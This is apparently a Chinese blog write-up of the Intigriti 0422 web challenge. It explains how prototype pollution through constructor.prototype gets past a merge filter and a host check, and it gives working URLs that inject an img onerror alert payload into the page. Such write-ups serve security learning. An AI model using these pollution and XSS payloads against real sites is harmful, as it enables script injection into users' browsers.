首页 > 其他分享 >intigrit-0422原型链配合xss

intigrit-0422原型链配合xss

时间:2024-04-02 09:35:46浏览次数:27  
标签:__ xss appConfig 0422 intigrit window devSettings challenge

题目链接:
https://challenge-0422.intigriti.io/
页面如下:
image
查看源代码 该窗口由iframe实现
image
直接打开源地址查看源码
image
这段代码可以为html页面添加内容

 function main() {
          const qs = m.parseQueryString(location.search)
          let appConfig = Object.create(null)
          appConfig["version"] = 1337
          appConfig["mode"] = "production"
          appConfig["window-name"] = "Window"
          appConfig["window-content"] = "default content"
          appConfig["window-toolbar"] = ["close"]
          appConfig["window-statusbar"] = false
          appConfig["customMode"] = false
          if (qs.config) {
		  //检查用户传入的qs.config是否存在值 如果由 替换给appConfig 
            merge(appConfig, qs.config)
            appConfig["customMode"] = true
		//替换值appConfig中的customMode的值为true
          }
          let devSettings = Object.create(null)
          devSettings["root"] = document.createElement('main')
          devSettings["isDebug"] = false
          devSettings["location"] = 'challenge-0422.intigriti.io'
          devSettings["isTestHostOrPort"] = false

          if (checkHost()) {
		  //满足checkHost函数即可运行下层函数
            devSettings["isTestHostOrPort"] = true
            merge(devSettings, qs.settings)
          }
          if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
            console.log('appConfig', appConfig)
            console.log('devSettings', devSettings)
          }
		  //当devSetting中的两个值存在一个值为真时触发
          if (!appConfig["customMode"]) {
            m.mount(devSettings.root, App)
          } else {
            m.mount(devSettings.root, {view: function() {
              return m(CustomizedApp, {
                name: appConfig["window-name"],
                content: appConfig["window-content"] ,
                options: appConfig["window-toolbar"],
                status: appConfig["window-statusbar"]
              })
            }})
          }
          document.body.appendChild(devSettings.root)
        }

进行了四个判断 据分析 我们需要满足chekHost函数的条件触发appconfig和devsetting的打印最后触发append函数

        function checkHost() {
          const temp = location.host.split(':')
          const hostname = temp[0]
          const port = Number(temp[1]) || 443
          return hostname === 'localhost' || port === 8080
        }
		//url格式举例:http://www.baidu.com:80
		//函数将用户请求的url以:分割 列表a中的0元素是访问地址 元素1则是端口号

当访问地址是本地时 就通过函数 或者端口是8080 显然不能直接以本地方式访问 或者将端口改为8080
这时就需要原型链的帮助了
众所周知 在js中存在 prototype__proto__ 两种属性
其中对象存在__proto__构造函数则存在prototype
原型链污染就是通过修改对象的上级构造函数的属性 从而影响到对象的属性
如:
image
a的构造函数是数组类 影响数组类的属性就能让所有数组得到新的属性0而它的值是‘localhost’
前提是数组的值没有被覆盖
image
merge方法被重写 其中对值进行了过滤 不能用__proto__访问类
但对象的构造方法的prototype与对象的__proto__指向同一个地址
image

image
其中window-toolbar 作为一个数组 并且我们可以对该值做出修改 此时就可以污染数组的原型
尝试对数组的值0和值1进行修改

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][0]='localhost'

image
显然污染成功 但是值被新的值覆盖 没有输出appConfig和devSetting

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080

污染值1
image
成功返回
image
给setting值传递参数
查找doc树
root.ownerDocument.childNodes[1].children[1].children[1]
root.ownerDocument.body.children[1]
尝试对上面的路径进行xss注入

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][childNodes][1][children][1][children][1][outerHTML][1]=%3Cimg%20src%3D%271%27%20onerror%3Dalert%28%27xxx%27%29%3E
//测试成功
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML][1]=%3Cimg%20src%3D%271%27%20onerror%3Dalert%28%27xxx%27%29%3E
//测试成功

image

标签:__,xss,appConfig,0422,intigrit,window,devSettings,challenge
From: https://www.cnblogs.com/fr09/p/18109854

相关文章

  • Day52:WEB攻防-XSS跨站&反射型&存储型&DOM型&标签闭合&输入输出&JS代码解析
    目录XSS跨站-输入输出-原理&分类&闭合XSS跨站-分类测试-反射&存储&DOM反射型XSS存储型XSSDOM-base型XSS:(某案例测试)知识点:1、XSS跨站-输入输出-原理&分类&闭合2、XSS跨站-分类测试-反射&存储&DOMXSS跨站-输入输出-原理&分类&闭合漏洞原理:接受输入数据,输出显......
  • Day53:WEB攻防-XSS跨站&SVG&PDF&Flash&MXSS&UXSS&配合上传&文件添加脚本
    目录MXSSUXSS:UniversalCross-SiteScriptingHTML&SVG&PDF&SWF-XSS&上传&反编译(有几率碰到)SVG-XSSPDF-XSSPython生成XSSFlash-XSS知识点:1、XSS跨站-MXSS&UXSS2、XSS跨站-SVG制作&配合上传3、XSS跨站-PDF制作&配合上传4、XSS跨站-SWF制作&反编译&上传XSS......
  • XSS跨站脚本攻击
    免责声明传播、利用本博客所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本博客及作者不为此承担任何责任,一旦造成后果请自行承担!谢谢!XSS跨站脚本攻击XSS是什么XSS全称呼跨站脚本,是将任意JavaScript代码插入到Web用户页面里执行以达到攻击目的的......
  • XSS漏洞
    原理程序对输入和输出没有做合适的处理,导致恶意字符输出在前端时被浏览器当作有效代码解析执行后端代码将用户输入的字符当成了js代码去执行xss常用代码<script>alert(/xss/)onclick='alert(1)'onclick属性是HTML元素中的一个事件属性,它用于指定在元素被点击时执行......
  • xss-labs
    Jsp1.什么是Jspjsp的全称是javaservletpage它就是java的服务器页面因为它相对于servlet传回数据的方法比较简单Servlet的本质是一个基于Java的Web组件,旨在处理HTTP请求并生成HTTP响应2.jsp语法脚本程序可包含任意的java语句但是在jsp中不能包含任何文本,html标签和jsp......
  • xss跨站脚本攻击
    xss(cross-sitescripting)本因为css,因与css样式重名所以更名为xss。xss主要基于js完成恶意攻击XSS危害盗取用户账号窃取用户cookie,冒充用户身份进入网站劫持用户会话,执行任意操作刷流量,执行弹窗广告传播蠕虫病毒XSS漏洞验证PoC(ProofofConcept,概念验证,漏洞验证)EXP(......
  • UEditor-结合XML文件上传导致的存储型XSS
    1、在某学校的考试系统的事故案例->添加新文章2、由于该编辑器为UEditor,并根据版本信息可联系到历史爆出过漏洞,在.NET开发的版本可通过木马文件上传进行getshell;但又由于此处为php语言开发,只能上传xml文件,于是思路转变成xml文件上传+XSS组合拳的方式进行测试。3、先构造一个te......
  • XSS 从 PDF 中窃取数据
    XSS从PDF中窃取数据将服务器端XSS注入到动态生成的PDF中在hackthebox的Book机器(ScriptingTrack)上,我遇到了一个Web应用程序,它使用用户控制的输入来生成PDF文件。用户输入输入,下载时该输入将呈现为PDF文件。我从阅读许多文章中意识到与动态生成的PDF相关的......
  • pikachu靶场第八关——XSS(跨站脚本)之DOM型xss(附代码审计)
    什么是DOM?简单来说DOM文档就是一份XML文档,当有了DOM标准之后,DOM便将前端html代码化为一个树状结构,方便程序和脚本能够轻松的动态访问和更新这个树状结构的内容、结构以及样式,且不需要经过服务端,所以DOM型xss在js前端自己就可以完成数据的输入输出,不与服务器产生交互,这样来说DO......
  • XSS及防御
    一,什么是XSSXSS(跨站脚本攻击,Cross-SiteScripting)是一种常见的安全漏洞,攻击者通过在网页中注入恶意脚本,使得用户在浏览网页时执行这些恶意脚本,从而达到窃取用户信息、会话劫持等恶意目的。通常恶意脚本不仅限于JavaScript,还包括Java,VBScript,Flash,ActiveS;二,XSS及类型1,XSS攻......